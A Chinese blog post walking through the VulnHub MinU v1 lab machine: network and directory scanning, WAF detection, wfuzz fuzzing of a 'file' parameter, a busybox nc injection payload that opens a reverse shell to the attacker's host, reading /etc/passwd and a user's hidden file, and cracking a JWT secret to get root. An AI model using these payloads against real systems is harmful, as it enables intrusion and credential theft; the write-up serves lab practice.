• 博客园logo
  • 会员
  • 周边
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
驿般般
博客园    首页    新随笔    联系   管理    订阅  订阅

vulnhub-MinUv1通关教程

我们依旧扫描网段

nmap 192.168.5.0/24 -sP

接着是扫描端口,只有80端口,有时光扫IP是扫不全的,我们依旧做一次全扫描

nmap 192.168.5.176

我们确实只扫到80端口,虽说还不确定是不是做了隐藏等我们去敲,但是思路依旧枚举80端口的信息

nmap 192.168.5.176 -p- -A -T5 -sV -sC

我们直接扫目录

dirb http://192.168.5.176

主要是80端口没有什么信息,我们直接扫目录出现一堆403,这里有个技巧,直接gerp 200

dirb http://192.168.5.176 | grep 200

发现并没有什么有用的信息,难道倒在这一步了?我们最后试一试扫PHP

dirb http://192.168.5.176/ -X .php

这里爆了个新目录,我们访问点击后又是老样子,很熟悉不过了文件包含?file=,这里不仅可以判断是文件包含,还知道他是PHP

之前扫出那么多403拒绝访问的,说明被拦截了那么一定有防火墙我们识别一下waf,这里直接用kali自带的wafw000f工具,这里-a跑全部特征库,-v -v输出最高详细的日志信息

wafw00f http://192.168.5.176/test.php -a -v -v

我们用简单的过滤发现确实有效并输出网站目录地址

我们就用模糊测试看看还有什么能够绕过防火墙规则

locate attack.txt

我们直接进行模糊测试,看看可以绕过的规则

wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt http://192.168.5.176/test.php?file=FUZZ

我们可以对结果进行过滤,只输出200的

wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 403 http://192.168.5.176/test.php?file=FUZZ

-c 彩色输出 -z file 指定payload从文件读取 –hc 403 过滤403

这里我们从网上发现可以直接使用busybox来直接获得shell,针对modsecurity防火墙。

http://192.168.5.176/test.php?file=yang;busybox nc 192.168.5.100 6666 -e sh -i

这里我们直接设置环境,直接那个稳定的shell

SHELL=/bin/bash script -q /dev/null

export TERM=xterm-256color

ctrl + z

stty raw -echo; fg

来到shell,我们第一件事就是查看他的内核版本,以及sudo,这两个是提权最容易的了

Uname -a

Sudo -V

直接看看靶机还存在什么真实用户,没准我们的目的就是拿到那个用户的shell再进行提权呢?

Cat /etc/passwd

在bob里我们发现了他的一个加密文件

Cd home

Cd bob

Ls -la

Cat ._pw_

其实我也不知道它是不是base64,但是第一步都是直接拿来测。当解出第一个是就该知道这个是个JWT鉴权了,我们直接github上下载工具破解它就行。跟json有关。

echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9" | base64 -d

echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9" | cut -d "." -f 2 | base64 -d

这里我还是按照别人的教程来,毕竟第一次打的话,或者不知道JWT是什么的话,解出这一步应该知道停了。。。二进制你怎么解?

直接网上搜索jwt的解密方式,如果太慢,实在无法****的话直接走国内代理,也能够下载,或是用链式代理,proxychain,还记得吗这里我就不搞了。。。

git clone https://github.com/brendan-rius/c-jwt-cracker.git

还记得make编译吗,里面有几个脚本,分别导出一起编译。

GitHub上这个工具的使用方法很详细了,你真要了解不是通过我。。。

./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9cwg

拿到root了,记住过程是关键,flag只是拿到root后的赠品。

好了,我们接着复盘一下思路吧。我们这次只扫到了80端口,dirb也没有扫出什么有用信息,我们必须给dirb指定扫描,手工测试是最主要的。我们访问扫到的目录发现存在文件包含,并且根据dirb 403可知它使用了应用防火墙,根据规则绕过防火墙,或是根据版本使用busbox来建立反向shell,我们在www-data下发现了bob用户,并且拿到base64编码,靶场很简单解出编码拿到root就是行。

posted on 2026-10-19 00:10  驿般般  阅读(5)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2026
浙公网安备 33010602011771号 浙ICP备2021040463号-3